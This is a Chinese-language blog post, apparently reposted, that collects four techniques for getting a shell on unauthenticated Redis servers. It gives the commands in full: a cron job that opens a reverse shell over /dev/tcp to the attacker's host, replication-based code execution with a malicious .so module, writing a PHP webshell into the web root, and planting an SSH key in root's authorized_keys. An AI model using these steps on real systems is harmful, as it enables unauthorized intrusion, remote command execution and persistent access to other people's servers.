Redis getshell姿势总结


一、crontab-计划任务

首先现在自己服务器上监听个端口,例如我这里的8888

nc -lvvp 8888

然后redis上:

root@kali:~# redis-cli -h 192.168.63.130
	192.168.63.130:6379> set  xx   "\n* * * * * bash -i >& /dev/tcp/这里写你的服务器IP/8888 0>&1\n"
	OK
	192.168.63.130:6379> config set dir /var/spool/cron/
	OK
	192.168.63.130:6379> config set dbfilename root
	OK
	192.168.63.130:6379> save

然后稍等一会儿,就反弹到shell了,PS:需要等那么一会儿,才会反弹回来,不然也可以先打,然后在监听,因为毕竟计划任务需要一点时间。

二、利用主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand(需要make)
git clone https://github.com/Ridter/redis-rce.git

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

so文件是通过RedisModules make生成的。

三、写入webshell

CONFIG SET dir /path/www/html     # 修改备份目录  
CONGIG SET dbfilename trojan.php  # 修改备份文件名为我们的shell名
SET trojan "<?php system($_GET['cmd']);?>"
BGSAVE  
DEL payload  
CONFIG SET dir /usr/local/redis  
CONGIG SET dbfilename dump.rdb 
#最好使用CONFIG GET 看看原来啥样就回复成啥样

四、写ssh-keygen公钥然后使用私钥登录

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
利用条件:
a.Redis服务使用ROOT账号启动
b.服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
先在本地生成一对密钥

ssh-key -t rsa#然后按照next执行就行了

然后通过redis执行:

config set dir /root/.ssh
config set dbfilename authorized_keys
save


写入

(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt#这样做的目的是前后用\n换行,避免和redis里其他缓存数据混合。
cat key.txt |redis-cli -h 192.168.0.114 -x set crack


最后在生成密钥对的目录下直接连接即可:

期间遇到了一个问题:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0777 for '/root/.ssh/id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "/root/.ssh/id_rsa": bad permissions
root@123.56.83.206's password: 
Permission denied, please try again.
root@123.56.83.206's password:

服务器权限问题,服务设置一下/root/.ssh权限即可。


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM